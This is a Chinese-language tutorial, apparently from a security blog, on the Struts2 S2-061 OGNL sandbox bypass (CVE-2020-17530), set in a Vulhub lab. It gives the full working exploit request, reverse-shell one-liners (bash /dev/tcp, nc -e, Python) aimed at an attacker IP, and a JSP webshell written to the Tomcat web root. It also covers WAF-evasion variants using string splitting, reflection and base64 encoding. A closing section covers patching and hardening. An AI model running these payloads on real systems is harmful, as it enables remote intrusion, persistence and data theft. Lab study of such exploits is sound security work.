Struts2 S2-061漏洞深度剖析:OGNL沙盒绕过与实战利用
1. 项目概述与漏洞背景最近在整理Struts2的漏洞图谱S2-061这个漏洞绕过了官方对S2-059的沙盒修复算是OGNL表达式注入利用手法里一个挺有意思的案例。很多朋友在复现漏洞时可能只是照着网上的POC漏洞利用代码跑一遍看到命令执行成功就结束了但很少去深究为什么这个POC能绕过沙盒以及在实际渗透测试中如何灵活运用。我这次就结合Vulhub环境把这个漏洞从原理到实操再到一些实战中的变通技巧给大家掰开揉碎了讲清楚。S2-061官方编号CVE-2020-17530影响范围从Struts 2.0.0一直到2.5.25覆盖面非常广。它的本质是Struts2框架在处理用户提交的OGNL表达式时虽然对S2-059做了沙盒加固但依然存在可以被绕过的路径导致攻击者能够构造恶意的OGNL表达式最终在服务器上执行任意命令。对于安全研究人员、渗透测试工程师和开发人员来说理解这个漏洞不仅能帮助我们做好防御更能让我们在代码审计和红队评估时具备发现类似问题的能力。下面我就带你一步步搭建环境、分析原理、复现漏洞并分享几个我踩过的坑和调试技巧。2. 环境搭建与核心原理剖析2.1 Vulhub环境快速部署Vulhub确实是个宝藏项目它把各种漏洞环境做成了Docker Compose配置一键启动省去了我们手动搭建靶场的麻烦。首先你得有一个Linux环境我习惯用Ubuntu 20.04或者CentOS 7。确保系统已经安装了Docker和Docker Compose。如果还没装用下面几条命令就能搞定以Ubuntu为例# 更新软件包索引 sudo apt-get update # 安装必要的依赖 sudo apt-get install -y apt-transport-https ca-certificates curl software-properties-common # 添加Docker官方GPG密钥 curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add - # 添加Docker软件源 sudo add-apt-repository deb [archamd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable # 再次更新并安装Docker sudo apt-get update sudo apt-get install -y docker-ce docker-ce-cli containerd.io # 安装Docker Compose sudo curl -L https://github.com/docker/compose/releases/download/v2.20.0/docker-compose-$(uname -s)-$(uname -m) -o /usr/local/bin/docker-compose sudo chmod x /usr/local/bin/docker-compose注意国内从GitHub拉取Docker Compose可能会很慢甚至失败这是网络环境导致的常见问题。如果遇到curl下载超时或报错可以尝试使用国内镜像源或者先通过其他方式下载好文件再上传到服务器。这不是Vulhub或Docker的问题而是访问外网资源的普遍挑战。安装好基础环境后我们来拉取Vulhub的漏洞环境。这里有个小细节不建议直接克隆整个Vulhub仓库因为项目比较大包含很多其他漏洞环境。我们只针对S2-061进行操作会更高效。# 创建一个专门的工作目录 mkdir -p ~/vulhub_work cd ~/vulhub_work # 只下载我们需要的S2-061环境文件 # 通常我们需要docker-compose.yml和相关的应用文件 # 最直接的方法是先克隆整个仓库如果网络允许或者从GitHub页面手动下载所需文件夹 # 假设我们选择克隆如果网络慢可以加上 --depth1 只克隆最近一次提交 git clone --depth1 https://github.com/vulhub/vulhub.git cd vulhub/struts2/s2-061进入s2-061目录后你会看到docker-compose.yml文件。这个文件定义了如何构建和运行一个包含Struts2 2.5.25版本漏洞的容器。直接运行以下命令启动环境# 构建并启动容器-d参数表示后台运行 sudo docker-compose up -d命令执行后Docker会从Docker Hub拉取基础镜像并构建应用容器。如果一切顺利你会看到类似Creating s2-061_struts2_1 ... done的输出。此时一个存在S2-061漏洞的Struts2应用就已经在本地运行起来了默认监听8080端口。你可以通过访问http://你的服务器IP:8080/index.action来验证环境是否启动成功。如果看到Struts2的默认页面或者示例页面说明环境已经就绪。实操心得有时候执行docker-compose up -d会卡在拉取镜像的步骤并提示网络错误。这通常是因为Docker Hub的镜像源在国外。一个有效的解决方法是配置Docker使用国内镜像加速器。修改/etc/docker/daemon.json文件如果不存在就创建加入像阿里云、腾讯云这样的镜像加速地址然后重启Docker服务 (sudo systemctl restart docker)再重新运行docker-compose up -d。这个小技巧能极大提升环境搭建速度。2.2 S2-061漏洞原理深度解析要理解S2-061必须先回顾一下它的前身S2-059CVE-2019-0230。S2-059漏洞允许攻击者通过构造特定的OGNL表达式在标签属性如id中进行注入从而执行代码。Struts2官方的修复方案是引入并加强了一个OGNL表达式沙盒Sandbox这个沙盒本质上是一套安全规则试图限制OGNL表达式可以访问的类和方法特别是那些用于执行命令或访问敏感API的类。而S2-061的“绕过”就妙在这里。它并不是找到了沙盒规则的漏洞去突破而是利用了一种“曲线救国”的思路。我们来看POC里最核心的那段OGNL表达式%{ (#instancemanager#application[org.apache.tomcat.InstanceManager]). (#stack#attr[com.opensymphony.xwork2.util.ValueStack.ValueStack]). (#bean#instancemanager.newInstance(org.apache.commons.collections.BeanMap)). (#bean.setBean(#stack)). (#context#bean.get(context)). (#bean.setBean(#context)). (#macc#bean.get(memberAccess)). (#bean.setBean(#macc)). (#emptyset#instancemanager.newInstance(java.util.HashSet)). (#bean.put(excludedClasses,#emptyset)). (#bean.put(excludedPackageNames,#emptyset)). (#arglist#instancemanager.newInstance(java.util.ArrayList)). (#arglist.add(id)). (#execute#instancemanager.newInstance(freemarker.template.utility.Execute)). (#execute.exec(#arglist)) }这段代码看起来复杂其实逻辑很清晰。我把它拆解成几个关键步骤获取InstanceManager#application[org.apache.tomcat.InstanceManager]。这是从Tomcat的应用上下文中获取一个InstanceManager对象。这个对象的关键能力是newInstance方法它可以创建指定类名的新实例。这里绕过了沙盒对new关键字的直接限制因为它是通过一个“合法”的容器管理对象来创建实例。操作ValueStack和BeanMapValueStack是Struts2的核心它存储了所有Action和上下文信息。BeanMap是Apache Commons Collections库里的一个工具类它可以把一个Java对象当成Map来操作可以动态地获取(get)和设置(put)对象的属性。攻击链通过BeanMap来间接访问和修改ValueStack及其内部对象如context和memberAccess的属性。关键绕过点——清空排除列表memberAccess对象里有两个非常重要的属性excludedClasses和excludedPackageNames。这就是沙盒的核心安全配置它定义了哪些类、哪些包下的类是禁止OGNL表达式访问的。POC通过BeanMap.put方法将这两个属性设置为新创建的、空的HashSet。这就相当于把沙盒的“黑名单”清空了导致沙盒形同虚设。执行命令在沙盒被禁用后POC就可以为所欲为了。它再次利用InstanceManager创建了freemarker.template.utility.Execute类的实例。这个类有一个exec方法可以执行系统命令。最后将命令如id放入一个ArrayList传给exec方法执行。所以S2-061的绕过精髓在于它没有正面攻击沙盒规则而是利用框架内已有的、未被沙盒禁止的API如InstanceManager.newInstance和BeanMap间接地修改了沙盒本身的配置清空排除列表从而让后续的危险操作得以进行。这是一种典型的“借刀杀人”和“权限维持”的思路。3. 漏洞复现实操与数据包分析3.1 构造并发送攻击载荷环境跑起来之后我们就要动手验证漏洞了。我强烈建议使用Burp Suite这类专业工具它能让我们清晰地看到HTTP请求和响应的每一个字节方便调试。当然用curl命令也可以但可读性和调试性差一些。首先用浏览器访问http://target-ip:8080/index.action确保页面正常打开。然后打开Burp Suite配置好代理开启拦截Intercept on。在浏览器里刷新页面你会在Burp里看到浏览器发出的GET请求。我们这次攻击需要的是POST请求所以直接放行这个GET请求。接下来我们需要手动构造一个POST请求。在Burp的Repeater模块里新建一个请求按照POC填充所有内容。这里我把关键部分再贴一遍并加上详细注释POST /index.action HTTP/1.1 Host: localhost:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36 Connection: close Content-Type: multipart/form-data; boundary----WebKitFormBoundaryl7d1B1aGsV2wcZwF Content-Length: 829 ------WebKitFormBoundaryl7d1B1aGsV2wcZwF Content-Disposition: form-data; nameid %{(#instancemanager#application[org.apache.tomcat.InstanceManager]).(#stack#attr[com.opensymphony.xwork2.util.ValueStack.ValueStack]).(#bean#instancemanager.newInstance(org.apache.commons.collections.BeanMap)).(#bean.setBean(#stack)).(#context#bean.get(context)).(#bean.setBean(#context)).(#macc#bean.get(memberAccess)).(#bean.setBean(#macc)).(#emptyset#instancemanager.newInstance(java.util.HashSet)).(#bean.put(excludedClasses,#emptyset)).(#bean.put(excludedPackageNames,#emptyset)).(#arglist#instancemanager.newInstance(java.util.ArrayList)).(#arglist.add(id)).(#execute#instancemanager.newInstance(freemarker.template.utility.Execute)).(#execute.exec(#arglist))} ------WebKitFormBoundaryl7d1B1aGsV2wcZwF--几个必须注意的细节Content-Type必须是multipart/form-data并且boundary的值这里是----WebKitFormBoundaryl7d1B1aGsV2wcZwF必须与请求体中的分隔符完全一致。这是表单文件上传的格式Struts2在处理这种格式时触发了特定的解析流程使得我们的OGNL表达式被正确解析。Content-Length这个值必须精确等于整个请求体从第一个--之后到结尾的字节数。如果长度不对服务器可能会直接拒绝请求或者解析错误。Burp Suite会自动计算但如果你手动复制粘贴一定要核对。一个快速计算的方法是把请求体部分包括最后的换行复制到一个文本编辑器查看它的字符数注意一个中文字符可能算多个字节但这里全是ASCII字符所以字符数基本等于字节数。参数名id在这个POC里OGNL表达式是作为名为id的表单参数的值提交的。这个参数名不是固定的它取决于目标应用接收参数的字段。在真实的漏洞利用中你需要通过信息收集或模糊测试找到哪个参数会触发OGNL解析。id、name、username等都是常见的测试点。OGNL表达式格式整个表达式以%{开始以}结束。表达式内部是一连串的链式调用用点号.连接。为了可读性POC里加了换行和缩进但在实际发送的请求中必须确保它是连续的一行字符串中间不能有换行符否则OGNL解析器会报错。在Burp Repeater中正确填写后点击“Send”按钮。如果一切配置正确你会在响应Response中看到命令执行的结果。3.2 结果验证与命令执行证明一个成功的攻击响应看起来是这样的截取关键部分HTTP/1.1 200 OK ... 一些HTTP头信息 !DOCTYPE html html ... 一些HTML结构 body ... 页面原有内容 uid1000(tomcat) gid1000(tomcat) groups1000(tomcat) ... 页面后续内容 /body /html你会在HTML页面的某个位置可能是开头、结尾或者夹杂在标签之间看到id命令的输出uid1000(tomcat) gid1000(tomcat) groups1000(tomcat)。这说明我们的OGNL表达式成功执行并且命令执行的结果被回显到了HTTP响应中。为什么结果会回显到页面这是因为我们的OGNL表达式最终执行了Execute.exec()这个方法的执行结果标准输出默认会被OGNL表达式求值的结果所“吸收”并最终影响到Struts2渲染视图时某个属性的值从而被输出到最终的HTML里。这是一种常见的“回显”型RCE远程代码执行。重要提示在实际的渗透测试中切忌一上来就在目标系统上执行rm -rf /或wget http://恶意地址/shell.sh这类危险命令。这属于破坏性测试是绝对禁止的。应该始终使用无害的命令进行验证如id、whoami、uname -a、pwd、ls -la /tmp等。我们的目的是验证漏洞的存在性而不是破坏系统。3.3 执行其他命令与利用扩展验证了id命令后我们可以尝试执行其他命令来获取更多信息。只需要修改POC中的一处(#arglist.add(id))。将id替换成你想执行的命令即可。例如想查看当前工作目录和目录下的文件... 前面部分保持不变 (#arglist#instancemanager.newInstance(java.util.ArrayList)). (#arglist.add(pwd)). (#arglist.add()). (#arglist.add(ls)). (#execute#instancemanager.newInstance(freemarker.template.utility.Execute)). (#execute.exec(#arglist)) }注意Execute.exec方法接收一个List参数它会将List里的所有元素用空格连接起来然后作为完整的命令字符串交给系统执行。所以上面这个例子最终执行的命令是pwd ls。你也可以构造更复杂的命令比如ls -la /etc/passwd。但是这里有一个巨大的坑如果你直接执行(#arglist.add(ls -la /etc))你会发现命令执行失败。因为exec方法会把ls -la /etc当成一个完整的命令名而不是带参数的命令。正确的做法是把命令和参数分开作为List的多个元素(#arglist.add(ls)). (#arglist.add(-la)). (#arglist.add(/etc)).如果你想执行需要管道|、重定向、或者环境变量$的复杂命令情况会更棘手。因为OGNL表达式和Java的Runtime.exec()有类似的限制它并不是启动一个完整的shell所以对shell语法如管道的支持很差。一个常见的技巧是通过bash -c来执行整条shell命令(#arglist#instancemanager.newInstance(java.util.ArrayList)). (#arglist.add(/bin/bash)). (#arglist.add(-c)). (#arglist.add(whoami cat /etc/passwd | grep root)). (#execute#instancemanager.newInstance(freemarker.template.utility.Execute)). (#execute.exec(#arglist)) }这样/bin/bash -c后面的字符串会被bash解释器完整地执行。这是实战中非常关键的一个技巧。4. 漏洞深度利用与防御绕过思路4.1 获取交互式Shell命令回显虽然能证明漏洞存在并获取一些信息但在真正的渗透测试中我们往往需要得到一个交互式的Shell以便进行更深入的操作比如上传文件、内网探测等。由于Struts2漏洞通常发生在Web层面直接反弹Shell会受到网络环境出站限制、防火墙的限制。这里介绍两种常见的思路。思路一反向ShellReverse Shell这是最经典的方法。在攻击机上监听一个端口然后让目标服务器主动连接过来。假设攻击机IP是192.168.1.100监听4444端口。在攻击机上执行nc -lvnp 4444然后将POC中的命令替换为反弹Shell的命令。不同系统、不同解释器的命令略有不同Linux bashbash -i /dev/tcp/192.168.1.100/4444 01Linux ncnc 192.168.1.100 4444 -e /bin/bash(需要目标系统安装了netcat的-e版本)Pythonpython -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.1.100,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([/bin/sh,-i]);将上述命令进行URL编码因为HTTP请求中不能有空格、等特殊字符然后放入POC。例如使用bash反弹(#arglist.add(/bin/bash)). (#arglist.add(-c)). (#arglist.add(bash -i %26 /dev/tcp/192.168.1.100/4444 0%261)).注意这里在URL里需要编码成%26。编码是实战中非常容易出错的地方建议先在本地用echo命令测试编码后的字符串是否正确或者使用Burp Suite的Decoder模块进行编码解码。思路二写入WebShell如果目标服务器无法出网连接你的监听端口那么写入一个WebShell是更稳妥的选择。你需要知道Web应用的可写目录通常是Web根目录下的某个子目录比如/usr/local/tomcat/webapps/ROOT/。使用echo命令写入一个简单的JSP WebShell(#arglist.add(/bin/bash)). (#arglist.add(-c)). (#arglist.add(echo %page import\java.util.*,java.io.*\%% if (request.getParameter(\cmd\) ! null) { Process p Runtime.getRuntime().exec(request.getParameter(\cmd\)); OutputStream os p.getOutputStream(); InputStream in p.getInputStream(); DataInputStream dis new DataInputStream(in); String disr dis.readLine(); while ( disr ! null ) { out.println(disr); disr dis.readLine(); } }% /usr/local/tomcat/webapps/ROOT/cmd.jsp)).执行成功后访问http://target-ip:8080/cmd.jsp?cmdid就能执行命令了。这种方法更隐蔽但前提是你要有目录的写权限并且知道绝对路径。4.2 针对WAF和防护设备的绕过在实际的网络环境中目标系统前方很可能部署了Web应用防火墙WAF或入侵防御系统IPS。这些设备会检测常见的攻击特征比如Runtime.getRuntime().exec、bash -c、IP地址和端口等。我们需要对POC进行变形来绕过检测。技巧一字符串拆分与拼接WAF通常匹配完整的危险字符串。我们可以将命令拆分成多个部分在OGNL表达式内部进行拼接。(#a#instancemanager.newInstance(java.lang.String)).(#a.valueOf(bash)).(#b#instancemanager.newInstance(java.lang.String)).(#b.valueOf(-i /dev/tcp/192.168.1.100/4444 01)). (#cmd#a.concat( ).concat(#b)). (#arglist.add(#cmd)).这里我们把命令拆成bash和-i...两部分然后用concat拼接起来。对于更复杂的检测可以进一步拆分成字符数组再组装。技巧二使用反射Reflection直接调用Execute.exec或Runtime.exec特征太明显。我们可以使用Java反射机制来间接调用增加混淆度。... 清空沙盒的步骤保持不变 (#clazz#instancemanager.newInstance(java.lang.Class)).(#clazz#clazz.forName(java.lang.Runtime)). (#method#clazz.getMethod(getRuntime)). (#rt#method.invoke(null)). (#execMethod#clazz.getMethod(exec, #instancemanager.newInstance(java.lang.Class).forName(java.lang.String))). (#execMethod.invoke(#rt, id)).这段代码使用反射获取Runtime.getRuntime()然后调用其exec方法。虽然最终效果一样但字符串特征变成了forName、getMethod、invoke等可能绕过一些简单的正则匹配。技巧三编码与加密将命令进行Base64编码然后在目标服务器上解码执行。(#arglist.add(/bin/bash)). (#arglist.add(-c)). (#arglist.add(echo d2hvYW1pCg | base64 -d | sh)).这里d2hvYW1pCg是whoami命令的Base64编码。WAF很难识别出编码后的字符串的真实意图。你甚至可以使用更复杂的编码或简单的XOR加密。技巧四利用不常见的类或方法除了freemarker.template.utility.Execute还可以寻找其他具有命令执行能力的类。例如在某些环境中可能存在groovy.lang.GroovyShell、javax.script.ScriptEngine等。这需要对目标应用的依赖库有深入了解通常通过信息收集或错误信息来发现。防御视角从这些绕过技巧可以看出单纯依赖WAF的特征匹配是远远不够的。最根本的防御措施是及时升级Struts2框架到已修复的版本2.5.26及以上并在代码层面避免将用户输入直接用于OGNL表达式求值。对于安全运维人员应该部署基于行为分析的RASP运行时应用自保护或更先进的WAF能够检测异常的反射调用、进程创建等行为而不仅仅是匹配字符串。5. 漏洞排查、调试与修复建议5.1 复现失败常见问题排查在复现过程中你可能会遇到各种问题导致命令执行不成功。下面是一个常见问题排查表你可以对照着检查问题现象可能原因排查步骤与解决方案发送POC后返回400/500错误1. HTTP请求格式错误。2. OGNL表达式语法错误。3. 目标参数名不对。1. 检查Content-Type和boundary是否正确Content-Length是否精确。2. 确保OGNL表达式是一行没有多余空格或换行。可以用Burp的Copy as curl command功能在终端里测试原始请求。3. 尝试将参数名id改为name、username等其他常见参数名或用Burp Intruder进行模糊测试。返回正常页面但没有命令输出1. 漏洞利用链的某个环节失败如找不到某个类。2. 命令执行了但输出没有被回显。3. 目标环境版本不受影响或已修复。1. 在POC中增加回显测试。例如先尝试执行echo test123看test123是否出现在响应中。如果没有说明利用链可能断了。2. 尝试使用dnslog.cn这类平台进行无回显验证。将命令改为ping -c 1 your-domain.dnslog.cn如果DNSLOG平台收到解析记录说明命令执行成功只是输出未被捕获。3. 确认目标Struts2版本在2.0.0到2.5.25之间。命令执行了但输出乱码或位置不对命令输出被插入到HTML标签属性或特殊位置导致浏览器解析异常。查看Burp返回的原始响应Raw而不是浏览器渲染后的页面。在Raw响应中搜索命令输出如uid通常能找到。Docker环境启动失败1. 端口冲突8080已被占用。2. 镜像拉取失败。3. 内存或磁盘空间不足。1. 修改docker-compose.yml文件中的端口映射例如将8080:8080改为8081:8080。2. 检查Docker服务状态(sudo systemctl status docker)配置镜像加速器。3. 使用docker-compose logs查看容器启动日志定位具体错误。执行复杂命令如反弹Shell失败1. 目标系统没有/bin/bash或nc。2. 出站网络被防火墙限制。3. 命令字符串在传输过程中被截断或转义。1. 先用which bash、which sh、which nc命令探测可用的解释器。2. 尝试使用纯Java的反弹Shell方式通过java.net.Socket建立连接但这需要编写更复杂的OGNL或上传Jar包。3. 对命令进行多次URL编码测试确保特殊字符,,,空格被正确处理。5.2 漏洞修复与安全加固方案对于开发和安全运维人员来说复现漏洞的最终目的是为了修复和防御。针对S2-061官方已经发布了修复版本。1. 官方补丁升级这是最直接有效的方法。Apache Struts官方在2.5.26版本中修复了此漏洞。请将所有使用Struts2框架的应用升级到2.5.26或更高版本。升级前务必在测试环境充分验证因为大版本升级可能引入兼容性问题。2. 临时缓解措施如果因为某些原因无法立即升级可以考虑以下临时方案禁用OGNL表达式执行在Struts2配置文件中struts.xml可以尝试设置struts.ognl.allowStaticMethodAccessfalse和更严格的OGNL表达式解析限制。但请注意S2-061的绕过方式可能使得某些配置失效此方法不能保证完全防护。输入过滤与验证对所有用户输入进行严格的过滤和验证特别是传递给标签属性的参数。使用白名单机制只允许预期的字符集。部署WAF/IPS在应用前端部署专业的Web应用防火墙或入侵防御系统并启用针对Struts2漏洞的防护规则。但需知如第4.2节所述高级攻击者可能绕过规则。3. 安全开发规范从根源上避免此类漏洞需要在开发阶段就建立安全规范避免将用户输入直接用于OGNL求值这是Struts2系列RCE漏洞的根本原因。审查代码查找所有使用%{...}语法或s:property等可能执行OGNL的标签确保其值不来自不可信的用户输入。使用最新安全版本依赖不仅关注Struts2本身还要关注其依赖库如Commons Collections, Freemarker的安全更新。定期进行安全扫描与代码审计将SAST静态应用安全测试和SCA软件成分分析工具集成到CI/CD流程中自动发现已知漏洞和危险代码模式。理解S2-061的绕过原理能让我们更深刻地认识到安全是一个动态对抗的过程。修复了一个点攻击者可能会从另一个面找到突破口。作为防御方我们需要建立纵深防御体系从代码、框架、运行时、网络多个层面进行防护而不能仅仅依赖某一个补丁或设备。这次复现不仅是一次技术练习更是一次安全思维的训练。在后续的工作中无论是开发新功能还是审计老代码我都会下意识地问自己这里接收的用户输入最终会去哪里会不会被当成代码执行多问这一个问题也许就能避免下一个漏洞的产生。